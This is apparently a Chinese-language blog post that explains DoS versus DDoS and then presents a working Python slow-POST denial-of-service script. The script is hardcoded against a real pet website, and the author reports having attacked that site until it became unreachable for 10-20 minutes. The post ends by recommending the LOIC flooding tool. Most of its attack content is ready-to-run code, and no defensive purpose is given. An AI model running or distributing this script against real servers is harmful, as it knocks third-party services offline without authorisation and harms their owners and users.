DoS攻击,即Denial of Service攻击(拒绝服务攻击).
DDoS攻击,Distributed Denial of Service(分布式拒绝服务攻击)
看到网上很多人把DoS攻击错认为DDoS攻击,并且DoS攻击和DOS操作系统是没有任何关系的,只不过凑巧缩写的字母一样,后者是Disk Operating System(磁盘操作系统)
借鉴网上的python—Dos攻击程序,在Python3.7运行
去搞一个宠物网站,开始攻击之后一段时间还是可以访问的,但过一会就访问不了了,但可以ping通。停止攻击之后反应有延迟,大概10-20分钟之后才能打开网页
import socket import time import threading #Pressure Test,ddos tool #--------------------------- MAX_CONN=20000 PORT=80 HOST="www.bjlovedog.com" PAGE="/index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 10000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE,HOST)) socks=[] def conn_thread(): global socks for i in range(0,MAX_CONN): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf.encode()) print ("Send buf OK!,conn=%d\n" % i) socks.append(s) except Exception as ex: print ("Could not connect to server or send error:%s" % ex) time.sleep(10) #end def def send_thread(): global socks while True: for s in socks: try: s.send("f".encode()) except Exception as ex: print ("Send Exception:%s\n"%ex) socks.remove(s) s.close() time.sleep(1) #end def conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start()
截图掠影:
攻击时:
攻击后过一会就又能成功访问了(大概10-20分钟之后)
参考链接:
https://blog.youkuaiyun.com/jeepxiaozi/article/details/8799684
或者采用一款软件:LOIC (Low Orbit Ion Cannon 低轨道粒子加农炮)
操作简单,很强劲